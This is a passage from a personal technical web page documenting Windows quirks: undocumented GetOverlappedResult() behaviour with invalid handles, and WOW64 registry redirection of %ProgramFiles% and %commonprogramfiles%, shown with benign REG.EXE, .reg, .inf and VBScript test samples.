NTSTATUS 0xC0000135 GetOverlappedResult() returned error 182 for NTSTATUS 0xC0000138 GetOverlappedResult() returned error 127 for NTSTATUS 0xC0000139 GetOverlappedResult() returned error 572 for NTSTATUS 0xC000013A GetOverlappedResult() returned error 1114 for NTSTATUS 0xC0000142 GetOverlappedResult() returned error 574 for NTSTATUS 0xC0000144 GetOverlappedResult() returned error 591 for NTSTATUS 0xC000021A GetOverlappedResult() returned error 640 for NTSTATUS 0xC00002E8 GetOverlappedResult() returned error 1282 for NTSTATUS 0xC0000409 GetOverlappedResult() returned error 1288 for NTSTATUS 0xC0000417 GetOverlappedResult() returned error 668 for NTSTATUS 0xC0000420 GetOverlappedResult() returned error 14084 for NTSTATUS 0xC015000F GetOverlappedResult() returned error 14085 for NTSTATUS 0xC0150010 0x6 (WIN32: 6 ERROR_INVALID_HANDLE) -- 6 (6) Error message text: The handle is invalid. CertUtil: -error command completed successfully.Note: the
GetOverlappedResult()
function fails with Win32 error code 6 alias
ERROR_INVALID_HANDLE
if its hFile
argument is NULL
, its
bWait
argument is TRUE
, the
Internal
member of the
OVERLAPPED
structure pointed to by the lpOverlapped
argument is
STATUS_PENDING
and the hEvent
member is
NULL
!
Note: the hFile
argument of the
GetOverlappedResult()
function can be INVALID_HANDLE_VALUE
or
NULL
if the bWait
argument is
FALSE
or the Internal
member of the
OVERLAPPED
structure pointed to by the lpOverlapped
argument is
not STATUS_PENDING
!
OUCH: contrary to its documentation cited above,
the
GetOverlappedResult()
function succeeds if the Internal
member of the
OVERLAPPED
structure pointed to by the lpOverlapped
argument is
(for example) 0x00000001 alias STATUS_WAIT_1
,
0x00000002 alias STATUS_WAIT_2
,
0x00000003 alias STATUS_WAIT_3
,
0x0000003F alias STATUS_WAIT_63
,
0x00000080 alias STATUS_ABANDONED_WAIT_0
,
0x000000BF alias STATUS_ABANDONED_WAIT_63
,
0x000000C0 alias STATUS_USER_APC
,
0x00010001 alias DBG_EXCEPTION_HANDLED
,
0x00010002 alias DBG_CONTINUE
,
0x40000000 alias STATUS_OBJECT_NAME_EXISTS
,
0x40000001 alias STATUS_THREAD_WAS_SUSPENDED
or
0x40000005 alias STATUS_SEGMENT_NOTIFICATION
–
these 12
NTSTATUS
codes correspond to the Win32 error codes 731 alias
ERROR_WAIT_1
,
732 alias
ERROR_WAIT_2
,
733 alias
ERROR_WAIT_3
,
734 alias
ERROR_WAIT_63
,
735 alias
ERROR_ABANDONED_WAIT_0
,
736 alias
ERROR_ABANDONED_WAIT_63
,
737 alias
ERROR_USER_APC
,
258 alias
WAIT_TIMEOUT
,
766 alias
ERROR_DBG_EXCEPTION_HANDLED
,
767 alias
ERROR_DBG_CONTINUE
,
698 alias
ERROR_OBJECT_NAME_EXISTS
,
699 alias
ERROR_THREAD_WAS_SUSPENDED
respectively 702 alias
ERROR_SEGMENT_NOTIFICATION
!
Build the console application quirk46.exe
a second
time from the source file quirk46.c
created in
step 1., now with the preprocessor macro QUIRKS
defined as 1:
CL.EXE /DQUIRKS=1 quirk46.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk46.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk46.exe quirk46.obj kernel32.lib user32.lib
Execute the console application quirk46.exe
built in
step 4. to demonstrate the (mis)behaviour:
.\quirk46.exe
OUCH: if its
hFile
argument is
INVALID_HANDLE_VALUE
, its bWait
argument
is TRUE
and the Internal
member of the
OVERLAPPED
structure pointed to by the lpOverlapped
argument is
STATUS_PENDING
, the
GetOverlappedResult()
function waits infinitely instead to fail with Win32
error code 6 alias
ERROR_INVALID_HANDLE
or Win32 error code 87 alias
ERROR_INVALID_PARAMETER
!
Build the console application quirk46.exe
a third
time from the source file quirk46.c
created in
step 1., now with the preprocessor macro QUIRKS
defined as 2:
CL.EXE /DQUIRKS=2 quirk46.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk46.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk46.exe quirk46.obj kernel32.lib user32.lib
Execute the console application quirk46.exe
built in
step 6. to demonstrate the (mis)behaviour:
.\quirk46.exe
OUCH: if its
hFile
argument is
NULL
, its bWait
argument is
TRUE
, the Internal
member of the
OVERLAPPED
structure pointed to by the lpOverlapped
argument is
STATUS_PENDING
and the hEvent
member is
INVALID_HANDLE_VALUE
, the
GetOverlappedResult()
function waits infinitely instead to fail with Win32
error code 6 alias
ERROR_INVALID_HANDLE
or Win32 error code 87 alias
ERROR_INVALID_PARAMETER
!
GetOverlappedResultEx()
function is left as an exercise to the reader!
SYMPTOMSThe MSDN article Registry Redirector states:When a 32-bit application is writing the %ProgramFiles% registry value on a computer that is running a 64-bit version of Windows Vista, Windows Vista automatically changes this string to %ProgramFiles(x86)%. This behavior cannot be changed.
This behavior also occurs in the 64-bit versions of Windows Server 2003 and of Windows XP.
CAUSE
This behavior occurs because %ProgramFiles% is a keyword for translation from a 64-bit operation to a 32-bit operation. This behavior enables a 32-bit application to work correctly with the %ProgramFiles% registry value when the application reads the %ProgramFiles% registry value later.
To help 32-bit applications that write REG_SZ or REG_EXPAND_SZ data containing %ProgramFiles% or %commonprogramfiles% to the registry, WOW64 intercepts these write operations and replaces them with "%ProgramFiles(x86)%" and "%commonprogramfiles(x86)%". For example, if the Program Files directory is on the C drive, then "%ProgramFiles(x86)%" expands to "C:\Program Files (x86)". The replacement occurs only if the following conditions are met:WOW64 Implementation Details File System RedirectorWindows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: The KEY_WOW_64_64KEY flag does not affect whether a key is replaced. This flag affects replacement starting with Windows 7 and Windows Server 2008 R2.
- The string must begin with %ProgramFiles% or %commonprogramfiles%. If the string begins with a space or any character other than %, it is not replaced.
- The case of %ProgramFiles% or %commonprogramfiles% must be exactly as shown because the string comparison is case-sensitive. For example, if the string begins with %CommonProgramFiles% instead of %commonprogramfiles%, it is not replaced.
- The string cannot exceed MAX_PATH*2+15 characters. If it exceeds this length, it is not replaced.
- The key cannot be opened with KEY_WOW64_64KEY. This flag specifies that operations on the key should be performed on the 64-bit registry view, so it is not replaced. For more information, see Accessing an Alternate Registry View.
In addition, REG_SZ or REG_EXPAND_SZ keys containing system32 are replaced with syswow64. The string must begin with the path pointing to or under %windir%\system32. The string comparison is not case-sensitive. Environment variables are expanded before matching the path, so all of the following paths are replaced: %windir%\system32, %SystemRoot%\system32, and C:\windows\system32. This patch is applied only to the keys that were reflected prior to Windows 7.
For more information, see the following topics:
Start the 32-bit command processor
%SystemRoot%\SysWoW64\Cmd.exe
and verify the documented behaviour:
REG.EXE ADD HKEY_CURRENT_USER /VE /F /D %ProgramFiles^% REG.EXE QUERY HKEY_CURRENT_USER /VE REG.EXE DELETE HKEY_CURRENT_USER /VE /FNote: the command lines can be copied and pasted as block into a Command Processor window.
The operation completed successfully. HKEY_CURRENT_USER (Default) REG_SZ %ProgramFiles(x86)% The operation completed successfully.
Repeat the operations from step 1. with
\Common Files
appended to the unexpanded environment
variable string %ProgramFiles%
:
REG.EXE ADD HKEY_CURRENT_USER /VE /F /D %ProgramFiles^%\Common" "Files REG.EXE QUERY HKEY_CURRENT_USER /VE REG.EXE DELETE HKEY_CURRENT_USER /VE /F
The operation completed successfully. HKEY_CURRENT_USER (Default) REG_SZ %ProgramFiles(x86)%\Common Files The operation completed successfully.
Repeat the operations from step 3. using the unexpanded
environment variable string %CommonProgramFiles%
instead of %ProgramFiles%
:
REG.EXE ADD HKEY_CURRENT_USER /VE /F /D %CommonProgramFiles^% REG.EXE QUERY HKEY_CURRENT_USER /VE REG.EXE DELETE HKEY_CURRENT_USER /VE /F
The operation completed successfully. HKEY_CURRENT_USER (Default) REG_SZ %CommonProgramFiles% The operation completed successfully.OUCH: despite the striking similarity to the %ProgramFiles% and %ProgramFiles(x86)% pair, %CommonProgramFiles% is not translated to %CommonProgramFiles(x86)%, i.e. it is most obviously not
a keyword for translation from a 64-bit operation to a 32-bit operation.–
Honi soit qui mal y pense
!
Repeat the operations from step 1. using the unexpanded
environment variable string %commonprogramfiles%
instead of %ProgramFiles%
:
REG.EXE ADD HKEY_CURRENT_USER /VE /F /D %commonprogramfiles^% REG.EXE QUERY HKEY_CURRENT_USER /VE REG.EXE DELETE HKEY_CURRENT_USER /VE /F
The operation completed successfully. HKEY_CURRENT_USER (Default) REG_SZ %commonprogramfiles(x86)% The operation completed successfully.
%SystemRoot%\SysWoW64\RegEdit.exe
,
either interactive or with a .reg
script, the
SetupAPI with a
.inf
script via one of the command lines
"%SystemRoot%\SysWoW64\RunDLL32.exe" "%SystemRoot%\SysWoW64\SetupAPI.dll",InstallHinfSection ‹pathname.inf›
or
"%SystemRoot%\SysWoW64\RunDLL32.exe" "%SystemRoot%\SysWoW64\AdvPack.dll",LauchINFSection ‹pathname.inf›
,
as well as the Windows Script Host with a
JScript
or
VBScript
via one of the command lines
"%SystemRoot%\SysWoW64\CScript.exe" ‹pathname.js›
or
"%SystemRoot%\SysWoW64\WScript.exe" ‹pathname.vbs›
,
is left as an exercise to the reader!
REGEDIT4
; Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
[HKEY_CURRENT_USER]
"1"="%ProgramFiles%"
"2"="%ProgramFiles%\\Common Files"
"3"="%CommonProgramFiles%"
"4"="%commonprogramfiles%"
; Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
[Version]
DriverVer = 04/27/2004, 0.8.1.5
Provider = "Stefan Kanthak"
Signature = "$Windows NT$"
[DefaultInstall.NTx86]
AddReg = AddReg
[AddReg]
HKCU,,"1",0,"%%ProgramFiles%%"
HKCU,,"2",0,"%%ProgramFiles%%\Common Files"
HKCU,,"3",0,"%%CommonProgramFiles%%"
HKCU,,"4",0,"%%commonprogramfiles%%"
Rem Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
With WScript.CreateObject("WScript.Shell")
.RegWrite "HKEY_CURRENT_USER\1", "%ProgramFiles%"
.RegWrite "HKEY_CURRENT_USER\2", "%ProgramFiles%\Common Files"
.RegWrite "HKEY_CURRENT_USER\3", "%CommonProgramFiles%"
.RegWrite "HKEY_CURRENT_USER\4", "%commonprogramfiles%"
WScript.StdOut.WriteLine .RegRead("HKEY_CURRENT_USER\1")
WScript.StdOut.WriteLine .RegRead("HKEY_CURRENT_USER\2")
WScript.StdOut.WriteLine .RegRead("HKEY_CURRENT_USER\3")
WScript.StdOut.WriteLine .RegRead("HKEY_CURRENT_USER\4")
.RegDelete "HKEY_CURRENT_USER\1"
.RegDelete "HKEY_CURRENT_USER\2"
.RegDelete "HKEY_CURRENT_USER\3"
.RegDelete "HKEY_CURRENT_USER\4"
End With
WshShell Object
RegDelete Method
RegRead Method
RegWrite Method
Gatesparticle with a mass equivalent to some 100 G$.
Use the X.509 certificate to send S/MIME encrypted mail.
Note: email in weird format and without a proper sender name is likely to be discarded!
I dislike
HTML (and even
weirder formats too) in email, I prefer to receive plain text.
I also expect to see your full (real) name as sender, not your
nickname.
I abhor top posts and expect inline quotes in replies.
as iswithout any warranty, neither express nor implied.
cookiesin the web browser.
The web service is operated and provided by
Telekom Deutschland GmbH The web service provider stores a session cookie
in the web
browser and records every visit of this web site with the following
data in an access log on their server(s):